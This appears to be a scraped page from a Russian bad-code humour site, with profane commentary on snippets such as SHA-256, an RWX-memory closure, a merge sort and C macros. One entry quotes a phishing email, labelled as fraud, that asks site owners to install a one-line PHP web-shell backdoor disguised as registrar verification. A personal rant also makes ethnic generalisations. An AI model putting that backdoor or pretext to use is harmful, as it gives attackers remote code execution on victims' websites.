- 1
https://pbs.twimg.com/media/C3G3jT_WYAAboKL.jpg:large
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
Всего: 331
−36
https://pbs.twimg.com/media/C3G3jT_WYAAboKL.jpg:large
BMW работает на php. Не покупайте BMW.
−17
https://github.com/saniv/text/blob/master/one-life-in-russia.md - Золотце
После пары собеседований, меня приняли в компанию "Devino Telecom",
занимающуюся e-mail и SMS рассылками, у них было собственное
программное решение, состоящее из нескольких сервисов, написанных
на разных языках, в числе которых C#, Java и PHP, в качестве базы
анных поменялась MSSQL, но были oracle, mysql и различные nosql
key-value базы. Моей начальной задачей стала поддержка техподдержки,
устранение неисправностей и багов в C# сервисах. Затем создание
одуля для интеграции с сервисами сторонней компании. И наконец
перевод "legacy" PHP сервиса в C#. С задачей я формально справился,
однако при больших объемах рассылок производительность старого PHP
сервиса превосходила C#, по причине таких факторов как shared-nothing
архитектура PHP высвобождающая все ресурсы после отправки блока
сообщений, использование оптимизированных библиотек (в их числе
библиотека bzip2 компрессии), написанных на C/C++ (в то время как
для C# версии мне сказали применять грубо слабанные хоббистами C#
версии библиотек), а так же использование PHP компактного формата
utf8 для хранения строк, в то время как C# применял utf16.
Использовать в C# utf8 невозможно, поскольку все библиотеки,
включая http генераторы, ожидают utf16. Хуже всего было
автоматическое управление памятью, ничего не знавшее о том как
несколько запущенных параллельно процессов сервиса будут
использовать память, а посему иногда отдавая всю память одному
сервису, тогда как остальные сервисы падали с ошибками, теряя
сообщения, а следовательно и деньги клиентов.
Шел 2014 год, примерно в это время Россия начала войну с Украиной, а я попал в опалу, после попытки донести до фанатично преданного C# коллектива, что C# имеет слабые стороны и есть случаи, когда решение на языке PHP лучше справляется с задачей и что PHP сервис заслуживает шанс на жизнь, ибо его невыгодно переводить на C#, только из-за того, что PHP кажется кому-то некрасивым языком. Через несколько дней меня попросили написать заявление об увольнении. Скорее всего тут сказалось несколько факторов: я не смог донести до коллектива свой аргумент; менеджер не хотел держать такого спорного индивида как я; мой отказ сдавать деньги на всякие праздники, вплоть до дня рождения кошки дочери тимлида (я считаю такую практику советской системой поборов). На собеседованиях в другие компании меня спрашивали о причинах уволнения с предыдущей работы и узнав, что я - русофоб, без раздумий отказывали в приеме на работу. Что совершенно логично, ибо мало какой сотруднице HR понравится критика своей нации, да я и не смог бы ужиться в русском коллективе, а зная нрав русских, меня могли бы просто спустить с лестницы, или подставить по работе, добившись иначе моего увольнения.
−47
static void SHA256_Transform(SHA256_CTX* context, const sha2_word32* data) {
sha2_word32 a, b, c, d, e, f, g, h, s0, s1;
sha2_word32 T1, T2, *W256;
int j;
W256 = (sha2_word32*)context->buffer;
/* Initialize registers with the prev. intermediate value */
// а с какого такого хуя вы решили, что компилятор непременно сунет это в регистры? Массивы для кого сделали?
// хотя это еще можно понять, есть вероятность, что компилятор так лучше соптимизирует (но далеко не факт)
a = context->state[0];
b = context->state[1];
c = context->state[2];
d = context->state[3];
e = context->state[4];
f = context->state[5];
g = context->state[6];
h = context->state[7];
j = 0;
do {
#if BYTE_ORDER == LITTLE_ENDIAN
/* Copy data while converting to host byte order */
REVERSE32(*data++,W256[j]);
/* Apply the SHA-256 compression function to update a..h */
T1 = h + Sigma1_256(e) + Ch(e, f, g) + K256[j] + W256[j];
#else /* BYTE_ORDER == LITTLE_ENDIAN */
/* Apply the SHA-256 compression function to update a..h with copy */
T1 = h + Sigma1_256(e) + Ch(e, f, g) + K256[j] + (W256[j] = *data++);
#endif /* BYTE_ORDER == LITTLE_ENDIAN */
T2 = Sigma0_256(a) + Maj(a, b, c);
h = g;
g = f;
f = e;
e = d + T1;
d = c;
c = b;
b = a;
a = T1 + T2;
j++;
} while (j < 16);
do {
/* Part of the message block expansion: */
s0 = W256[(j+1)&0x0f];
s0 = sigma0_256(s0);
s1 = W256[(j+14)&0x0f];
s1 = sigma1_256(s1);
/* Apply the SHA-256 compression function to update a..h */
T1 = h + Sigma1_256(e) + Ch(e, f, g) + K256[j] +
(W256[j&0x0f] += s1 + W256[(j+9)&0x0f] + s0);
T2 = Sigma0_256(a) + Maj(a, b, c);
h = g;
g = f;
f = e;
e = d + T1;
d = c;
c = b;
b = a;
a = T1 + T2;
j++;
} while (j < 64);
/* Compute the current intermediate hash value */
context->state[0] += a;
context->state[1] += b;
context->state[2] += c;
context->state[3] += d;
context->state[4] += e;
context->state[5] += f;
context->state[6] += g;
context->state[7] += h;
/* Clean up */
a = b = c = d = e = f = g = h = T1 = T2 = 0; // А вот это уже полная хуйня
//вы правда думаете, что компилятор не выкинет это нахуй?
}
SHA2 питушня, скачать можно например тут http://sources.freebsd.org/RELENG_8/src/sys/crypto/sha2/sha2.c
В общем если вам важно, чтобы некая хуйня была непременно в регистрах, и чтобы потом эта хуйня непременно была почищена, единственный надежный способ - херачить код на ассемблере (или вообще в машинных кодах)
−31
Уважаемый клиент!
В соответствии с изменениями, внесенными в ICANN RAA, Вы должны подтвердить,
что фактическое управление доменом ******* осуществляется лицом,
указанным в качестве его администратора.
Чтобы подтвердить, что Вы имеете фактическую возможность управлять доменом,
создайте в корневой директории сайта файл a7offau08fn0f81n.php со следующим
содержимым:
<?php
assert(stripslashes($_REQUEST[RUCENTER]));
?>
Файл должен быть создан в течение трех рабочих дней с момента получения
настоящего письма и находиться на сервере до 24 декабря 2016 года, 20:00
(UTC+03:00), в противном случае процедура подтверждения не будет пройдена.
Обращаем Ваше внимание на то, что если процедура подтверждения не будет
пройдена, делегирование домена будет приостановлено.
© АО «Региональный Сетевой Информационный Центр» (RU-CENTER)
8 800 775-29-99, 8 800 250-27-99,
+7 495 994-46-01
Вы подписались на рассылку в настройках уведомлений.
Отписаться от рассылки
Мошеннические письма под видом писем от RU-CENTER
интересно, почему не eval() ?
−47
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
typedef intptr_t binaryfunc(intptr_t, intptr_t);
typedef intptr_t unaryfunc(intptr_t);
#define evalsiz ((intptr_t)eval_end - (intptr_t)eval)
#define clossiz (evalsiz+sizeof(intptr_t)+sizeof(int))
void eval_end();
intptr_t eval(intptr_t rem) {
#define argsize ((intptr_t)&&argend - (intptr_t)eval)
#define leasize ((intptr_t)&&leaaft - (intptr_t)&&leabef)
#define eoffset (argsize+leasize)
argend:;
register void *ptr asm("r10");
leabef: asm("lea (%rip),%r10"); leaaft:;
void *off = (ptr - eoffset + evalsiz);
binaryfunc *bin = *(binaryfunc**)off;
return bin(*(intptr_t *)(off+sizeof(intptr_t)),rem);
}
void eval_end() { }
unaryfunc* apply(binaryfunc *bin, intptr_t arg) {
void *data = mmap(0, clossiz, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memmove(data, &eval, evalsiz);
intptr_t ptr = (intptr_t)bin;
memmove(data+evalsiz, &ptr, sizeof(intptr_t));
memmove(data+evalsiz+sizeof(intptr_t), &arg, sizeof(intptr_t));
return data;
}
intptr_t add(intptr_t a, intptr_t b) {
return a+b;
}
int main() {
printf("%ld\n", apply(add, 1)(2));
return 0;
}
Simple x86_64 closure implementation attempt
https://gist.github.com/iamtakingiteasy/c80112437ebc1f8d73eecf8df27caa24
−44
гыы gop сука нетрулио, lt нах
куку йопта law() {
вилкойвглаз(gop эквалио нетрулио) {
ксива.малява("Я и правда язык") нах
gop сука трулио нах
} иливжопураз {
gop сука трулио нах
потрещим(semki чоблясука трулио) {
lt сука ксива.вычислитьЛохаПоНомеру("list") нах
ебало.шухер("Привет, йопта") нах
}
}
}
https://yopta.space/
−25
/**
* Сортирует массив, используя рекурсивную сортировку слиянием
* up - указатель на массив, который нужно сортировать
* down - указатель на массив с, как минимум, таким же размером как у 'up', используется как буфер
* left - левая граница массива, передайте 0, чтобы сортировать массив с начала
* right - правая граница массива, передайте длину массива - 1, чтобы сортировать массив до последнего элемента
* возвращает: указатель на отсортированный массив. Из-за особенностей работы данной реализации
* отсортированная версия массива может оказаться либо в 'up', либо в 'down' // <--- ГОВНО
**/
int* merge_sort(int *up, int *down, unsigned int left, unsigned int right)
{
if (left == right)
{
down[left] = up[left];
return down;
}
unsigned int middle = (unsigned int)((left + right) * 0.5); // <--- ГОВНО, нахуй сюда плавучих питухов пихать?
// И что еще за unsigned int? Даешь uintptr_t.
// И если указатели будут 64-битные, то плавучий питух может обосраться на больном размере массивов
// разделяй и сортируй
int *l_buff = merge_sort(up, down, left, middle);
int *r_buff = merge_sort(up, down, middle + 1, right);
// слияние двух отсортированных половин
int *target = l_buff == up ? down : up;
unsigned int width = right - left, l_cur = left, r_cur = middle + 1;
for (unsigned int i = left; i <= right; i++)
{
if (l_cur <= middle && r_cur <= right)
{
if (l_buff[l_cur] < r_buff[r_cur])
{
target[i] = l_buff[l_cur];
l_cur++;
}
else
{
target[i] = r_buff[r_cur];
r_cur++;
}
}
else if (l_cur <= middle)
{
target[i] = l_buff[l_cur];
l_cur++;
}
else
{
target[i] = r_buff[r_cur];
r_cur++;
}
}
return target;
}
https://ru.wikipedia.org/wiki/Сортировка_слиянием
−12
Python: What if everything was a dict?
Java: What if everything was an object?
JavaScript: What if everything was a dict *and* an object?
C: What if everything was a pointer?
APL: What if everything was an array?
Tcl: What if everything was a string?
Prolog: What if everything was a term?
LISP: What if everything was a pair?
Scheme: What if everything was a function?
Haskell: What if everything was a monad?
Assembly: What if everything was a register?
Coq: What if everything was a type/proposition?
COBOL: WHAT IF EVERYTHING WAS UPPERCASE?
C#: What if everything was like Java, but different?
Ruby: What if everything was monkey patched?
Pascal: BEGIN What if everything was structured? END
C++: What if we added everything to the language?
C++11: What if we forgot to stop adding stuff?
Rust: What if garbage collection didn't exist?
Go: What if we tried designing C a second time?
Perl: What if shell, sed, and awk were one language?
Perl6: What if we took the joke too far?
PHP: What if we wanted to make SQL injection easier?
VB: What if we wanted to allow anyone to program?
VB.NET: What if we wanted to stop them again?
Forth: What if everything was a stack?
ColorForth: What if the stack was green?
PostScript: What if everything was printed at 600dpi?
XSLT: What if everything was an XML element?
Make: What if everything was a dependency?
m4: What if everything was incomprehensibly quoted?
Scala: What if Haskell ran on the JVM?
Clojure: What if LISP ran on the JVM?
Lua: What if game developers got tired of C++?
Mathematica: What if Stephen Wolfram invented everything?
Malbolge: What if there is no god?
−46
#include <stdio.h>
#define SPLICE(a,b) SPLICE_1(a,b)
#define SPLICE_1(a,b) SPLICE_2(a,b)
#define SPLICE_2(a,b) a##b
#define PP_ARG_N( \
_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, \
_11, _12, _13, _14, _15, _16, _17, _18, _19, _20, \
_21, _22, _23, _24, _25, _26, _27, _28, _29, _30, \
_31, _32, _33, _34, _35, _36, _37, _38, _39, _40, \
_41, _42, _43, _44, _45, _46, _47, _48, _49, _50, \
_51, _52, _53, _54, _55, _56, _57, _58, _59, _60, \
_61, _62, _63, N, ...) N
/* Note 63 is removed */
#define PP_RSEQ_N() \
62, 61, 60, \
59, 58, 57, 56, 55, 54, 53, 52, 51, 50, \
49, 48, 47, 46, 45, 44, 43, 42, 41, 40, \
39, 38, 37, 36, 35, 34, 33, 32, 31, 30, \
29, 28, 27, 26, 25, 24, 23, 22, 21, 20, \
19, 18, 17, 16, 15, 14, 13, 12, 11, 10, \
9, 8, 7, 6, 5, 4, 3, 2, 1, 0
#define PP_NARG_(...) PP_ARG_N(__VA_ARGS__)
/* Note dummy first argument _ and ##__VA_ARGS__ instead of __VA_ARGS__ */
#define PP_NARG(...) PP_NARG_(_, ##__VA_ARGS__, PP_RSEQ_N())
#define MAX_1(VAR, ...) \
VAR
#define MAX_2(VAR, ...) \
(((VAR)>MAX_1(__VA_ARGS__))?(VAR):MAX_1(__VA_ARGS__))
#define MAX_3(VAR, ...) \
(((VAR)>MAX_2(__VA_ARGS__))?(VAR):MAX_2(__VA_ARGS__))
#define MAX_4(VAR, ...) \
(((VAR)>MAX_3(__VA_ARGS__))?(VAR):MAX_3(__VA_ARGS__))
#define MAX_5(VAR, ...) \
(((VAR)>MAX_4(__VA_ARGS__))?(VAR):MAX_4(__VA_ARGS__))
#define MAX_6(VAR, ...) \
(((VAR)>MAX_5(__VA_ARGS__))?(VAR):MAX_5(__VA_ARGS__))
#define MAX_7(VAR, ...) \
(((VAR)>MAX_6(__VA_ARGS__))?(VAR):MAX_6(__VA_ARGS__))
#define MAX_8(VAR, ...) \
(((VAR)>MAX_7(__VA_ARGS__))?(VAR):MAX_7(__VA_ARGS__))
#define MAX_9(VAR, ...) \
(((VAR)>MAX_8(__VA_ARGS__))?(VAR):MAX_8(__VA_ARGS__))
#define MAX_10(VAR, ...) \
(((VAR)>MAX_9(__VA_ARGS__))?(VAR):MAX_9(__VA_ARGS__))
#define MAX_11(VAR, ...) \
(((VAR)>MAX_10(__VA_ARGS__))?(VAR):MAX_10(__VA_ARGS__))
//..... дальше лень ...
#define MAXS_(N, ...) \
SPLICE(MAX_, N)(__VA_ARGS__)
#define MAXS(...) \
MAXS_(PP_NARG(__VA_ARGS__), __VA_ARGS__)
int main(void)
{
printf("%d", MAXS(24, 324, 377, 347, 100500, 2442, 224, 7428));
}
Макрос MAXS() который принимает произвольное число аргументов и через тернарники заворачивает их, было сделано на основе http://govnokod.ru/14511 говна.
−17
#if !defined(COMPILER_MSVC)
#define ARRAYSIZE(a) \
((sizeof(a) / sizeof(*(a))) / \
static_cast<size_t>(!(sizeof(a) % sizeof(*(a)))))
#endif
https://github.com/tensorflow/tensorflow/blob/754048a0453a04a761e112ae5d99c149eb9910dd/tensorflow/stream_executor/platform/port.h#L42-L46
Суть этого говновыражения !(sizeof(a) % sizeof(*(a))) судя по всему в том, чтоб оно становилось нулем, если по каким-то причинам размер массива оказывается не кратен размеру элемента этого массива. И тогда эта макропоебень развернется в деление на ноль. Но как такое вообще может быть?